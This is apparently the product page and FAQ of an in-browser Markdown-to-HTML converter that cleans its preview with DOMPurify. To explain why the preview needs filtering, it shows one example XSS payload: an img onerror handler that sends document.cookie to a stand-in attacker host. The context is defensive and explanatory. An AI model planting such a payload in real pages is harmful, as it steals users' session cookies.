tooloora

Markdown to HTML and back — with a safe preview

Render Markdown to HTML with GitHub tables, see a live preview that is sanitised before it touches the page, and turn HTML back into Markdown. Nothing is uploaded.

Runs locally — nothing is uploaded

The preview always shows the DOMPurify-cleaned version only. Without the checkbox the HTML output keeps the original – including HTML embedded in the Markdown.

Everything runs in your browser – no upload, no storage.

Convert Markdown to HTML — with a sanitised preview

Paste Markdown on the left and get finished HTML plus a live preview on the right: headings, lists, links, code blocks and GitHub tables. The preview always passes through an XSS filter before it reaches the page. The reverse direction turns HTML into Markdown, handy for saving a web page as a note. Everything runs in your browser, with no upload.

Why does a Markdown preview need a filter at all?

Because Markdown allows embedded HTML on purpose. The CommonMark specification describes HTML blocks as a regular part of the syntax — anyone writing Markdown may drop a <div>, an <img> or indeed a <script> into the middle of the text. That is exactly what makes a naive preview dangerous. A document from an unknown source can look like this:

Perfectly harmless text.

<img src="x" onerror="fetch('https://evil.example/?c='+document.cookie)">

Rendered unfiltered, that code would run in your browser. This tool therefore pushes the generated HTML through DOMPurify before a single character enters the document, and reports how many elements were removed. For the copyable output the filter is on by default, but you can deliberately switch it off if you trust the source.

Which Markdown extensions are supported?

The base is CommonMark plus the GitHub extensions: tables, strikethrough, task lists and autolinks. Optionally every single line break becomes a <br> — the way many chat and ticket systems behave, unlike plain Markdown.

Not included are footnotes, front matter, admonitions and Obsidian-style wiki links. Those belong to individual tools rather than the shared core, and we would rather leave them out than support them halfway.

Why do HTML tables not become Markdown tables?

That is the best-known limit of the reverse direction. The HTML-to-Markdown converter can only produce pipe tables with an extra plugin, which is not shipped here. Without it,

<table><tr><td>Berlin</td><td>10115</td></tr></table>

would simply become Berlin10115 — the structure gone. A table is therefore kept as an HTML block by default. That is valid Markdown, and GitHub as well as most editors render it correctly. If you prefer plain text, switch to flattening in the options. We would rather say this out loud than swallow it quietly.

What else the reverse direction does

  • Headings are written in # style, not with underlines
  • Code blocks use three backticks instead of indentation
  • Lists use - as the bullet
  • <script>, <style> and <noscript> are dropped entirely instead of ending up as text in the Markdown

Honest limits

The preview shows HTML with this site's styles, not with those of your target system — GitHub, a blog or a wiki will look different. Very long texts (from roughly 500,000 characters) are refused so the tab stays usable. And HTML to Markdown is lossy by nature: anything Markdown has no notation for ends up as an HTML block or as text.

Frequently asked questions

Is my text sent anywhere?

No. Rendering, sanitising and the reverse conversion all happen in your browser; after the first load the page works offline. Drafts, internal documentation and release notes are exactly the kind of text people paste into online converters without thinking about where it lands — here it lands nowhere.

Why does the preview need a sanitiser at all?

Because Markdown deliberately allows raw HTML: the CommonMark specification defines HTML blocks as part of the syntax. A document can therefore contain a script tag or an image with an onerror handler, and rendering it unfiltered would execute that code in your browser. The preview is therefore always passed through DOMPurify first, and the tool reports how many elements were removed.

Does HTML to Markdown produce real Markdown tables?

No, and that is a deliberate limitation rather than a bug. Converting HTML tables into GitHub pipe tables needs an extra turndown plugin that we do not ship, so a table would otherwise collapse into a row of loose words. Instead the table is kept as an HTML block, which is valid Markdown and renders correctly on GitHub and in most editors. You can switch to flattening it into text if you prefer.

Which Markdown flavour is supported?

CommonMark plus the GitHub extensions: tables, strikethrough, task lists and autolinks, switchable in the options. Not included are footnotes, front matter, admonitions or Obsidian-style wiki links — those belong to specific ecosystems, not to the Markdown core.

Can I get the HTML without the sanitising step?

Yes. The preview is always sanitised, but the copyable HTML output has a checkbox for it. Turn it off only if you trust the source of the Markdown, because embedded HTML then reaches your output exactly as written.